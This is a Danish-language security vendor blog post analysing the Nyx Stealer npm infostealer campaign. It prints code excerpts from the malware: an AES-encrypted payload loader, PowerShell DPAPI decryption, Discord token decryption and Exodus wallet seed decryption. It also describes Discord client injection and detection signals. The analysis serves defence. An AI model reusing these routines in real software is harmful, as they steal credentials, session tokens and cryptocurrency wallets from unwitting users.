npm Infostealer

Ny npm Infostealer-opdagelse: Nyx ​​Stealer kaprer Discord-sessioner

TL; DR

Xygeni Security Research Team identificerede en sofistikeret npm infostealer-kampagne leveret via to ondsindede pakker: konsolofy og selfbot-lofy.

Den nyeste version (consolelofy@1.3.0) integrerer en 216KB AES-krypteret nyttelast, der dekrypteres under kørsel og udføres via vm.runInNewContext()Fordi den ondsindede logik er fuldt krypteret, kan statiske scannere, der er afhængige af strenginspektion, ikke observere dens adfærd før udførelsestidspunktet.

Når nyttelasten er dekrypteret, internt mærket Nyx Stjæler, mål:

  • Discord-godkendelsestokens
  • 50+ browserlegitimationsbutikker
  • 90+ udvidelser til kryptovaluta-wallets
  • Roblox, Instagram, Spotify, Steam, Telegram og TikTok-sessioner
  • Discord desktop-klient vedholdenhed

Alle 20 versioner på tværs af begge pakker blev rapporteret og bekræftet som skadelige.

Teknisk oversigt over denne npm-infostealer

I modsætning til traditionel malware på installationstidspunktet er denne kampagne afhængig af en runtime dekrypteringsmodel.

Der er:

  • Ingen ondsindet preinstall or postinstall hooks
  • Ingen åbenlyse netværkskald under installationen
  • Ingen logik til indsamling af legitimationsoplysninger i klartekst

Nyttelasten aktiveres, når modulet importeres. Hele den skadelige del krypteres og materialiseres kun i hukommelsen under kørsel.

Dette design undgår specifikt detektion under pakkeinstallation.

Hvordan denne npm-infostealer rent faktisk udføres

Før vi analyserer, hvad Nyx Stealer stjæler, er vi nødt til at forstå hvordan det udføres.

Den ondsindede logik i denne npm-infostealer følger et konsistent mønster:

En lille loader dekrypterer en stor krypteret nyttelast og udfører den dynamisk i en Node.js VM-kontekst.

Dette design er bevidst. Angriberen skjuler ikke funktionaliteten bag tilsløring alene, de er fuldstændig fjernelse af skadelig kode fra statisk synlighed.

Højniveau-udførelsesmodel

På et overordnet niveau gør wrapperen fire ting:

  • Udleder en AES-nøgle fra en hardcoded adgangskode ved hjælp af SHA-256
  • Dekrypterer en stor hex-kodet krypteringstekst ved hjælp af AES-256-CBC
  • Udfører det dekrypterede JavaScript ved hjælp af vm.runInNewContext()
  • Tilbyder en sandkasse, der stadig eksponerer kraftfulde runtime-primitiver

Oversigt over kerneteknik

Component Konfiguration / Værdi
Algoritme AES-256-CBC
Nøgleafledning SHA-256 (adgangskode)
Initialiseringsvektor (IV) 16 bytes af 0x00
Udførelse vm.runInNewContext(dekrypteret, sandkasse)

Afgørende nok går sandkassen igennem:

  • require
  • process
  • Buffer
  • timere
  • moduleksport

Det betyder, at den dekrypterede nyttelast bevarer sin fulde kapacitet til at:

  • Gydningsprocesser
  • Læs og skriv filer
  • Foretag netværksopkald
  • Rediger lokale applikationer

Dette er ikke en begrænset VM. Det er en VM, der bruges som en henrettelsestrampolin.

Runtime-krypteringsmønster (kerneudførelsesmekanisme)

Læsseren er lille.
Den ondsindede krop er ikke.

Nedenfor er udførelsesmønsteret, der findes i pakken:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Hvorfor denne Matters

Den dekrypterede nyttelast:

  • Er ikke findes i klartekst inde i npm-pakken
  • Er usynlig for simple grep eller statisk strengscanning
  • Materialiseres kun i hukommelsen under kørsel
  • Udføres med fulde Node runtime-funktioner

Denne AES + VM-udførelseskombination er en stærk adfærdsindikator for en npm infostjæler forsøger at undgå statisk inspektion.

Med andre ord:

Hvis du scanner pakkekildetræet, ser du ikke en stjæler.
Du ser en dekrypteringstjeneste.

Hvad sker der efter dekryptering

Når den er udført, starter Nyx Stealer parallelle dataindsamlingsbølger.

Bølge 1: Udtrækning af browserlegitimationsoplysninger

Malwaren:

  • Downloader en Python-runtime fra NuGet CDN
  • Installerer kryptografiske biblioteker
  • Udtrækker Chromium-baserede legitimationsoplysninger
  • Dekrypterer DPAPI-beskyttede hemmeligheder

I stedet for at kompilere native bindinger, udnytter den PowerShell til at kalde Windows DPAPI direkte.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Denne tilgang:

  • Undgår kompileringsartefakter
  • Bruger native Windows-krypto-API'er
  • Blandes med administrative værktøjer

Det er dekryptering af legitimationsoplysninger på OS-niveau, ikke scraping.

Bølge 2: Discord-token-dekryptering

Stjæleren er protokolbevidst. Den forstår Discords krypterede tokenformat.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Driftsflow:

  • Udpak masternøgle fra Discord Local State
  • Dekrypter hovednøglen via DPAPI
  • Dekrypter AES-GCM-token-blobs
  • Valider tokens mod Discord API
  • Berig med Nitro, badges og faktureringsoplysninger

Dette er ikke generisk legitimationsdumping. Det er protokolbevidst sessionskapning.

Bølge 3: Målretning af kryptovaluta-wallets

npm-infostealeren opregner:

  • 90+ browser wallet-udvidelser
  • 27 skrivebordstegnebøger
  • Kolde tegnebogsstier
  • Exodus-frøfiler

Eksempel på forsøg på seed-dekryptering:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Hvis det lykkes, er kompromitteringen af ​​tegnebogen øjeblikkelig og uigenkaldelig.

Dette repræsenterer kampagnens indtægtsgenereringsvektor med den højeste værdi.

Persistens via Discord Desktop Injection

Efter at have indsamlet legitimationsoplysninger forsøger Nyx Stealer at bevare vedholdenheden ved at ændre den lokale Discord kunde.

Mål:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operationel sekvens

Infostjæleren udfører følgende trin:

  • Afslutter kørende Discord-processer
  • Finder installerede Discord-varianter (Stable, Canary, PTB)
  • Overskriver discord_desktop_core/index.js
  • Injicerer angriberkontrolleret webhook-logik
  • Genstarter Discord

Dette sikrer, at fremtidige Discord-sessioner automatisk lækker nye godkendelsestokens.

Det er vigtigt at bemærke, at denne vedholdenhed ikke er afhængig af planlagte opgaver eller ændringer i registreringsdatabasen. Den udnytter kodeændringer på applikationsniveau, en mere diskret tilgang.

Selv hvis den ondsindede npm-pakke senere fjernes, forbliver Discord-klienten kompromitteret.

Teknisk sammenligning: Legitim Selfbot vs. npm Infostealer

Component Legitim bibliotek Nyx npm Infostealer
Kryptering Ingen Fuld AES-krypteret nyttelast
Runtime VM Ikke påkrævet vm.runInNewContext udførelse
Adgang til legitimationsoplysninger Kun Discord API Browser, tegnebøger, DPAPI
Eksterne downloads Ingen Python-kørselstid via NuGet
Vedholdenhed Ingen Discord-klientinjektion
monetarisering Botautomatisering Videresalg af legitimationsoplysninger

Alene krypteringslaget adskiller allerede denne kampagne fra en typisk open source-fork.

En legitim Discord-selfbot har ingen grund til at kryptere hele sin kodebase, oprette PowerShell for at få adgang til DPAPI, downloade eksterne runtime-programmer eller ændre interne elementer i desktop-applikationer. Når disse funktioner vises i en afhængighed, der hævder at automatisere Discord-interaktioner, bliver den arkitektoniske uoverensstemmelse umulig at ignorere.

Fra et efterforskningssynspunkt efterlader denne npm-infostealer spor på tværs af flere lag. De mest pålidelige indikatorer er dog ikke hardcodede URL'er eller specifikke filstier, da disse kan ændre sig mellem versioner. I stedet er de varige signaler strukturelle.

På pakkeniveau er det stærkeste røde flag kombinationen af ​​en stor krypteret nyttelast og en runtime-dekrypteringswrapper, der øjeblikkeligt udføres via vm.runInNewContext()Selvom kryptering alene ikke i sig selv er skadeligt, er det yderst usædvanligt at bruge AES-dekryptering efterfulgt af dynamisk VM-udførelse i en Discord-hjælpepakke.

På værtsniveau omfatter mistænkelige mønstre uventet DPAPI-dekrypteringsaktivitet, procesudvikling fra en Node.js-afhængighedskontekst og ændring af lokale applikationsfiler, der aldrig bør ændres af tredjepartsbiblioteker. Ligeledes repræsenterer udgående webhook-lignende kommunikation, der initieres af en udviklingsafhængighed, en anden betydningsfuld anomali på netværkslaget.

Med andre ord er detektionsoverfladen ikke en enkelt indikator for kompromitteret data. Det er korrelationen mellem kryptering, kørselstidsudførelse, adgang til legitimationsoplysninger og vedvarende adfærd, der afslører truslen.

Detektion og afhjælpning med Xygeni

npm Infostealer

Denne npm-infostyver blev identificeret af Xygenis tidlige advarsel om malware (MEW) gennem lagdelt adfærdskorrelation i stedet for simpel signaturmatchning.

I stedet for at søge efter kendte ondsindede strenge evaluerer MEW strukturelle anomalier på tværs af hele kildetræet. I dette tilfælde opstod detektionen fra konvergensen af ​​flere signaler: en integreret AES-dekrypteringsrutine i modulets indgangspunkt, øjeblikkelig udførelse i en VM-kontekst og en klar uoverensstemmelse mellem kapacitet og intention.

Det er vigtigt at bemærke, at ingen af ​​disse signaler alene beviser ondsindet hensigt. Men når de analyseres sammen, afslører de et forsøg på at skjule runtime-adfærd. Denne lagdelte tilgang reducerer falske positiver betydeligt, samtidig med at den identificerer trusler i forsyningskæden med høj tillid.

Desuden illustrerer denne case, hvorfor inspektion under installation alene er utilstrækkelig. Den ondsindede logik findes ikke i livscyklusscripts. Den aktiveres først, når modulet er indlæst, og bliver først synlig, når det er dekrypteret i hukommelsen. Derfor kræver effektivt forsvar krypteringsbevidst analyse, genkendelse af adfærdsmønstre og kontinuerlig afhængighedsovervågning ud over installationshændelser.

Fjernelse af registreringsdatabasen er reaktiv. Runtime-bevidst analyse er forebyggende.

Hvorfor denne npm-infostealer er vigtig

Nyx Stealer repræsenterer en strukturel udvikling inden for npm-baseret malware.

Historisk set har mange ondsindede pakker været afhængige af synlige scripts på installationstidspunktet eller åbenlyse slutpunkter for udplyndring af legitimationsoplysninger. I modsætning hertil krypterer denne kampagne sin nyttelast, udsætter udførelsen til runtime, udnytter legitime operativsystem-API'er og etablerer persistens i betroede applikationer.

Derfor behøver angriberen ikke at udnytte selve npm-infrastrukturen. I stedet lykkes angrebet, fordi installation af afhængigheder indebærer tillid. Udviklere antager, at import af et bibliotek er en sikker operation, især når det præsenterer sig selv som en plausibel forgrening af et populært værktøj.

Efterhånden som økosystemer fortsætter med at vokse, og forks spredes, bliver denne implicitte tillidsgrænse en stadig mere attraktiv angrebsflade. Derfor kræver forsvar mod moderne npm-infostealere genkendelse af arkitektoniske mønstre i stedet for at søge efter statiske strenge.

I sidste ende forstærker denne kampagne en vigtig lektie i software supply chain securityDe farligste trusler er ikke dem, der ser ondsindede ud ved første øjekast, men dem, der strukturelt ser legitime ud, indtil kørselstidspunktet afslører deres sande adfærd.

sca-tools-software-kompositionsanalyseværktøjer
Prioriter, afhjælp og sørg for dine softwarerisici
Få din gratis konto.
Der kræves ikke noget kreditkort.

Sikr din softwareudvikling og -levering

med Xygeni-produktsuite